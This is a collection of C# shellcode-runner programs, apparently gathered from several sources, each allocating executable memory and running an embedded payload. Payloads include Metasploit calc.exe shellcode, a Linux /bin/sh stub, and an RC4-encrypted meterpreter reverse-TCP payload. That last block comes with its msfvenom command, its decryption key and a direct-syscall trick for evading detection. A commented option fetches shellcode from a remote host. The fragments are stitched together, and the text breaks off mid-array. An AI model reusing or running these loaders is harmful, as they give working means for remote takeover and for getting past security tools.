public static void Main(string[] args)
{
//Determine OS version
OperatingSystem os = Environment.OSVersion;
//On x86 pointer is 4 long, 8 on x64
bool x86 = (IntPtr.Size == 4);
byte[] payload;
if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
{
if (!x86)
{
//Example x64 shellcode, test
payload = new byte[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2 };
}
else
{
//Example x86 shellcode
payload = new byte[] { 0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00 };
}
//Allocating memory for payload (1. First viable location, 2. Amount of memory to allocate,
// 3. magic value tells to allocate now,4. magic value sets section to RWX)
IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
//Copying payload to memory section (1. Byte array we want to copy into section, 2. Index to copy at,
// 3. Where we wanna copy to (pointer from VirtualAlloc, 4. Bytes we wanna copy (all payload))
Marshal.Copy(payload, 0, ptr, payload.Length);
//Point to shellcode in memory
WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
//Run
r();
}
}
public static void Main(string[] args)
{
string input;
if (args.Length > 0)
{
input = args[0];
}
else
{
string fileName = Process.GetCurrentProcess().MainModule.FileName;
fileName = fileName.Substring(0, fileName.LastIndexOf(".")) + ".txt";
if (File.Exists(fileName))
{
input = File.ReadAllLines(fileName)[0].Trim();
}
// For download, uncomment the following two lines, and set the URL
// else using (var webClient = new WebClient())
// input = webClient.DownloadString("http://host/test.txt").Trim();
}
input = Regex.Replace(input, @"\s+", string.Empty);
// Console.WriteLine(input);
byte[] hexy = Str2ByteArray(input);
IntPtr pointer = VirtualAlloc(IntPtr.Zero, (IntPtr)hexy.Length, (IntPtr)0x1000, (IntPtr)0x40);
Marshal.Copy(hexy, 0, pointer, hexy.Length);
WindowsRun runner = (WindowsRun)Marshal.GetDelegateForFunctionPointer(pointer, typeof(WindowsRun));
runner();
}
// string prepare_payload = Convert.ToBase64String(payload);
static void Main(string[] args)
{
OperatingSystem os = Environment.OSVersion;
bool x86 = (IntPtr.Size == 4);
byte[] payload;
string payloadB64_x64 = "u/x5t1jaxNl0JPRaK8mxm4PCBDFaEANaEB6MbYpkmsJGTLyXvJhhaXTRCrjQC7B92CjglwMuhyPOsJ/jJbsHg4aBCeDlR6ys6Sy7duAy5h2Y9u3v814pVEz3UCZ4Mq7oMyS2vE5lcjbo+sKIe4FFLmrzCpYe6bwyeXsrn0X5YO6fBzHFgKwkK8e7bii6cRjxRWztBxmZPFv652X6gghmaBpGYKDjOvqHhSVoVkHdzZF+PEx0fyGvXziz90OIqXXB40OkF8LmfpwxiYZnKtsUJ+GDll16OWmb61bxU77UbusXJKdm0Uh9nVAPgTDsHecYk9HmLm0HZuNiSxFSuYCMy2Um3N3pTYSIgjLJWRDGkC6PvWjGlwWfPcBS71fHa3DLjBBJDEcasok5aStNuwb0IMmFsgrgrONkFmeiGqUcrgc2+vlMX7gkIuVfMde1lw34xH+qCJQTJm52O7DTM6qklDXHn1CTEcYYZek75pGSGZw9sI572O9yAC3TION+BMKJSR+B4ZpQn4XvO+rpmVCSDV7rq7R8XcJYR2vfWqWur6kNDhs/EIpirxon0ojGfrQm7/jV727FKNXYR8uonJnJTIDS7TlTayO5kdskTj5CE8PE8JquoySuJbPm32HR8WKkPghlAWw+i113+lWHTXq52TYKQWEXg9uV3AbLCHVdxUiZ+caQfibkc2SPa6uujdPnK1fibG6qP1f47BvSbJrDtiy51FNmyz5/QF523nYh84w4gFJuqknqjBSa8QeijvrpWn35w2yjbNuNiBnKoH6fyp53l/O/YfWP6pMvVgXvw8pTG/Tt8vz6Hvgnqnop47iAadjRpwFyl9qtzVOM766WRiW5hcYP";
string payloadB64_x86 = "297ZdCT0uu/sQjdeKcmxcTFWGIPGBANW+w636sMWTDE39obwDzoCukX03jhf8i95SvgJkKvQ93+ViE9xvytJ0/oLsofcKXL6wiolIud5D4edQjrFPSst+64VoFYJMyXaZTeifvGaMFqsyK7R0Aw0nA8GKtbLZrEFU+UQY/3es2BHhWnmu5YNu70/iLYLRNUjEILoP1pHgCkQEDDKsz1z20PibDZk5w/wCrAvbgTiIww9oGeKJcfe8waV39A0GQRkBX5kQDJA5Pa4L3v51U5Xxz4VuxBQa6PoFR3fIh7JO2k+7XywrWLfzTYDhULcc3GtdHei3L3NigFc04dmfU7qiWQIJi/z2rgMKUipMyLsiubJnxH92ugj33RdfzRxLia5Ye0YbE4j2DEUD1hjKcVa+h5gNmHZpfJNVaWoovS2nCXA5/b7EdgjMgkMwNs7pT1WusXAq8Pis2woBnLgz0at+GJrhK2a+GmQe1mTv3628F54G2tNLKL9HkxFvpxb4m7y4ZGI8xGsPasDOOYg14rcmC6Cyv6mmkzvBkSY5NPvtH6G2HRKKENTV7Y1D6ht7eJMUtNc6Uo8rafvCPMmEFkuKdw/RToD1l8be3nvJv9m9QgyDnpnCjW1mO724Kg=";
//paste buf from msfvenom here
//string prepare_payload = Convert.ToBase64String(buf);
if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
{
if (!x86)
{
payload = Convert.FromBase64String(payloadB64_x64);
}
else
{
payload = Convert.FromBase64String(payloadB64_x86);
}
IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
Marshal.Copy(payload, 0, ptr, payload.Length);
WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
r();
}
}
static void Main(string[] args)
{
OperatingSystem os = Environment.OSVersion;
bool x86 = (IntPtr.Size == 4);
byte[] payload;
if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
{
if (x86)
{
payload = new byte[276] {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};
}
else
{
payload = new byte[] { };
}
IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
Marshal.Copy(payload, 0, ptr, payload.Length);
WindowsRun runner = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
runner();
}
}
static void Main(string[] args)
{
OperatingSystem os = Environment.OSVersion;
bool x86 = (IntPtr.Size == 4);
byte[] payload;
if (os.Platform == PlatformID.Win32NT)
{
if (!x86)
{
payload = System.Text.Encoding.Default.GetBytes("x86-64 payload here");
}
else
{
payload = System.Text.Encoding.Default.GetBytes("x86 payload here");
}
IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
Marshal.Copy(payload, 0, ptr, payload.Length);
WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
r();
}
}
static void Main(string[] args)
{
var localProcess = System.Diagnostics.Process.GetCurrentProcess().Handle;
//msfvenom --encrypt rc4 --encrypt-key inc0d3 -a x64 -p windows/x64/meterpreter/reverse_tcp lhost=IP-ATACANTE lport=443 -f csharp
byte[] encrypted = new byte[510] {
0x88, 0xa1, 0x26, 0x40, 0xb5, 0x38, 0xd1, 0xcc, 0xf0, 0x6f, 0x95, 0x33, 0x33, 0x24, 0x60,
0x97, 0xfb, 0x45, 0x88, 0xe2, 0x99, 0xa1, 0xce, 0xdb, 0xd0, 0x39, 0x07, 0x97, 0x0d, 0xe9,
0x6a, 0x1a, 0x81, 0x59, 0x13, 0x21, 0xf4, 0x12, 0x0c, 0xb0, 0xa5, 0x3f, 0xf8, 0xd7, 0xb0,
0x04, 0x22, 0x56, 0xbb, 0xba, 0x7f, 0xad, 0x63, 0xdc, 0x13, 0xfc, 0x34, 0x48, 0x6d, 0x98,
0xf6, 0xca, 0xc0, 0xc0, 0xe6, 0xab, 0xc1, 0x41, 0x61, 0x52, 0x96, 0xcf, 0x6a, 0x4e, 0x1b,
0x5c, 0xee, 0x41, 0x46, 0xde, 0x6e, 0x55, 0x67, 0xed, 0x28, 0xad, 0x20, 0x9f, 0xbf, 0x79,
0x6c, 0xb1, 0x78, 0x89, 0xd0, 0xb9, 0xe0, 0x24, 0xf5, 0xd9, 0xb6, 0xd5, 0x17, 0x3e, 0x5e,
0xf1, 0xaf, 0x22, 0x3f, 0xbc, 0x39, 0x0e, 0xdd, 0xb4, 0x14, 0x14, 0x87, 0x05, 0xb3, 0xe3,
0x1c, 0xdc, 0xf7, 0x3f, 0xc2, 0xd0, 0x5c, 0x8a, 0x73, 0xca, 0x4c, 0x68, 0xc0, 0x80, 0xe7,
0x45, 0x11, 0x73, 0xe1, 0x6b, 0x52, 0x7d, 0xad, 0xfd, 0xe3, 0xae, 0x0a, 0x00, 0xe8, 0x1f,
0x4b, 0x1f, 0x37, 0xab, 0x28, 0x15, 0x51, 0x88, 0x32, 0x79, 0x1c, 0x5b, 0x03, 0xd1, 0x5d,
0x57, 0x88, 0x28, 0x20, 0x13, 0x09, 0xb1, 0xe8, 0xe4, 0x55, 0x63, 0xc9, 0x7b, 0x50, 0x31,
0x6f, 0x71, 0x09, 0xa0, 0x67, 0xfb, 0xa8, 0x90, 0x77, 0xdc, 0x6a, 0x7c, 0x64, 0x5e, 0x2c,
0x64, 0x3b, 0xfc, 0x4b, 0xde, 0x57, 0x16, 0xe0, 0xb1, 0xec, 0x5a, 0x03, 0x96, 0x87, 0x07,
0xd9, 0x39, 0xae, 0x54, 0x71, 0x56, 0xed, 0x33, 0xca, 0x9b, 0x3d, 0x91, 0x38, 0x3e, 0x49,
0x72, 0xbb, 0xd0, 0x85, 0xeb, 0x7e, 0x89, 0x54, 0xf1, 0x1f, 0x40, 0x3a, 0x11, 0xf2, 0x4a,
0x9e, 0x98, 0xd6, 0x60, 0x26, 0x33, 0x87, 0x91, 0x71, 0x60, 0x5d, 0xdf, 0x69, 0xaa, 0x83,
0x3e, 0xcf, 0xbe, 0xe6, 0x43, 0x90, 0x87, 0x2a, 0xd4, 0xfd, 0x93, 0x00, 0xed, 0x34, 0x0e,
0x22, 0xde, 0x30, 0xbc, 0xc3, 0xa4, 0x6a, 0x2b, 0xfe, 0xea, 0xe3, 0x7a, 0x74, 0x58, 0x68,
0x52, 0x70, 0x00, 0x11, 0x9a, 0xf6, 0x0b, 0x83, 0xa6, 0xa9, 0xff, 0x4c, 0x25, 0xcf, 0x6c,
0x77, 0x95, 0x08, 0xff, 0x1f, 0xa4, 0xb8, 0x31, 0x5c, 0x4b, 0x6d, 0x01, 0x40, 0x69, 0x66,
0x0f, 0x93, 0xed, 0xa4, 0xf7, 0x63, 0x25, 0x7a, 0xf6, 0xec, 0x8e, 0x1b, 0x02, 0x2b, 0x6e,
0x83, 0x9e, 0x9b, 0x7f, 0xde, 0xab, 0x18, 0x14, 0xdd, 0xbc, 0xd2, 0xe7, 0xdf, 0x8b, 0x13,
0x78, 0xa3, 0x38, 0xe7, 0x46, 0x44, 0xcd, 0xab, 0x40, 0x4f, 0x3d, 0xac, 0xc0, 0x5b, 0xd2,
0x0b, 0xb0, 0x72, 0x54, 0xdb, 0x1e, 0xf4, 0x81, 0x14, 0xcc, 0x65, 0xd3, 0x78, 0x7d, 0x57,
0xb9, 0x59, 0xaa, 0xd7, 0x87, 0x40, 0xc9, 0x7a, 0xfe, 0x68, 0x99, 0x1a, 0xfc, 0x4b, 0xea,
0x22, 0x4f, 0xcb, 0x70, 0xff, 0xfc, 0xc2, 0xc7, 0x47, 0x47, 0x5e, 0x7c, 0xbe, 0x34, 0x6f,
0xdd, 0x6d, 0xf0, 0x74, 0xa4, 0xa8, 0x39, 0xc1, 0x2f, 0x41, 0xbf, 0xa6, 0x63, 0x65, 0x90,
0x3d, 0xf3, 0xd8, 0x83, 0xbf, 0x9c, 0x7d, 0x3d, 0xb9, 0x70, 0x7e, 0x5f, 0x99, 0x06, 0x97,
0xae, 0xbc, 0xf3, 0x1a, 0x47, 0x95, 0xe7, 0x7f, 0xcc, 0x20, 0xca, 0x77, 0x9f, 0x34, 0xe4,
0x48, 0x01, 0x44, 0x81, 0x77, 0x05, 0xf1, 0xb2, 0x95, 0xbd, 0x36, 0xf2, 0xc8, 0xde, 0xc4,
0x57, 0x34, 0x90, 0x9e, 0xf8, 0x23, 0xd2, 0xad, 0x91, 0x79, 0x21, 0xf5, 0x26, 0x9e, 0xa3,
0xdb, 0x72, 0x02, 0xda, 0xd8, 0xbe, 0x2b, 0xc7, 0xa9, 0x6b, 0x3d, 0x25, 0x54, 0xad, 0x67,
0x8c, 0x08, 0x3f, 0x07, 0x0d, 0x44, 0xfd, 0x11, 0x8e, 0x65, 0xb4, 0x53, 0x79, 0x52, 0x49
};
var shellcode = new byte[]
{
0x4C, 0x8B, 0xD1, // mov r10, rcx
0xB8, 0x00, 0x00, 0x00, 0x00, // mov eax, 0x00 (syscall identifier)
0x0F, 0x05, // syscall
0xC3 // ret
};
var syscallIdentifierBytes = BitConverter.GetBytes(0x3A); // NtWriteVirtualMemory
Buffer.BlockCopy(syscallIdentifierBytes, 0, shellcode, 4, sizeof(uint));
var shellCodePtr = VirtualAllocEx(localProcess, IntPtr.Zero, shellcode.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
if (shellCodePtr == IntPtr.Zero)
{
throw new Exception("VirtualAlloc did not return a valid address" + Marshal.GetLastWin32Error().ToString());
}
var syscallDelegate = Marshal.GetDelegateForFunctionPointer(shellCodePtr, typeof(NtWriteVirtualMemory));
Marshal.Copy(shellcode, 0, shellCodePtr, shellcode.Length);
byte[] key = Encoding.UTF8.GetBytes("inc0d3");
byte[] dec = EncryptOutput(key, encrypted).ToArray();
var damn = VirtualAllocEx(localProcess, IntPtr.Zero, dec.Length, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);
var ret = syscallDelegate.DynamicInvoke(localProcess, damn, dec, (UInt32)dec.Length, IntPtr.Zero);
WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(damn, typeof(WindowsRun));
r();
}
public static void Main(string[] args)
{
OperatingSystem os = Environment.OSVersion;
bool x86 = (IntPtr.Size == 4);
byte[] payload;
if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
{
if (!x86)
{
payload = new byte[]
{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c
}
}
;
else
{
payload = new byte[]
{
0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30,
0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2, 0xf2, 0x52,
0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c, 0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1,
0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3, 0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b,
0x01, 0xd6, 0x31, 0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,
0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b,
0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24,
0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb,
0x8d, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5,
0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a,
0x00, 0x53, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
}
};
IntPtr ptr = VirtualAlloc(IntPtr.Zero, (IntPtr)payload.Length, (IntPtr)0x1000, (IntPtr)0x40);
Marshal.Copy(payload, 0, ptr, payload.Length);
WindowsRun r = (WindowsRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(WindowsRun));
r();
}
else if ((int)os.Platform == 4 || (int)os.Platform == 6 || (int)os.Platform == 128)
{
if (!x86)
{
payload = new byte[]
{
0x6a, 0x3b, 0x58, 0x99, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53,
0x48, 0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8, 0x03, 0x00,
0x00, 0x00, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
}
}
;
else
{
payload = new byte[]
{
0x6a, 0x0b, 0x58, 0x99, 0x52, 0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68,
0x00, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x03, 0x00, 0x00, 0x00, 0x73,
0x68, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
}
};
IntPtr ptr = IntPtr.Zero;
IntPtr success;
bool freeMe = false;
try
{
int pagesize = 4096;
IntPtr length = (IntPtr)payload.Length;
success = posix_memalign(ref ptr, (IntPtr)32, length);
if (success != IntPtr.Zero)
{
Console.WriteLine("Bail! memalign failed: " + success);
return;
}
freeMe = true;
IntPtr alignedPtr = (IntPtr)((int)ptr & ~(pagesize - 1));
IntPtr mode = (IntPtr)(0x04 | 0x02 | 0x01);
success = mprotect(alignedPtr, (IntPtr)32, mode);
if (success != IntPtr.Zero)
{
int err = Marshal.GetLastWin32Error();
Console.WriteLine("Bail! mprotect failed: " + err);
return;
}
Marshal.Copy(payload, 0, ptr, payload.Length);
LinuxRun r = (LinuxRun)Marshal.GetDelegateForFunctionPointer(ptr, typeof(LinuxRun));
r();
}
finally
{
if (freeMe)
{
free(ptr);
}
}
}
}
}
public static void Main(string[] args)
{
OperatingSystem os = Environment.OSVersion;
bool x86 = (IntPtr.Size == 4);
byte[] payload;
if (os.Platform == PlatformID.Win32Windows || os.Platform == PlatformID.Win32NT)
{
if (!x86)
{
/*
* windows/x64/exec - 276 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
* CMD=calc.exe
*/
payload = new byte[] {
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,
0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48,
0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48,
0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01,
0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c,
0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0,
0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48,
0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb,
0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c,
0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
}
}
;
else
{
/*
* windows/exec - 200 bytes
* http://www.metasploit.com
* VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
* CMD=calc.exe
*/
payload = new byte[] {
0xfc, 0xe8, 0x89, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5, 0x31, 0xd2, 0x64, 0x8b, 0x52, 0x30,
0x8b, 0x52, 0x0c, 0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xe2,
0xf0, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x42, 0x3c, 0x01, 0xd0, 0x8b, 0x40, 0x78, 0x85,
0xc0, 0x74, 0x4a, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x8b, 0x58, 0x20, 0x01, 0xd3, 0xe3,
0x3c, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31, 0xff, 0x31, 0xc0, 0xac, 0xc1, 0xcf, 0x0d,
0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf4, 0x03, 0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe2, 0x58,
0x8b, 0x58, 0x24, 0x01, 0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b,
0x04, 0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a, 0x51, 0xff,
0xe0, 0x58, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x86, 0x5d, 0x6a, 0x01, 0x8d, 0x85, 0xb9, 0x00,
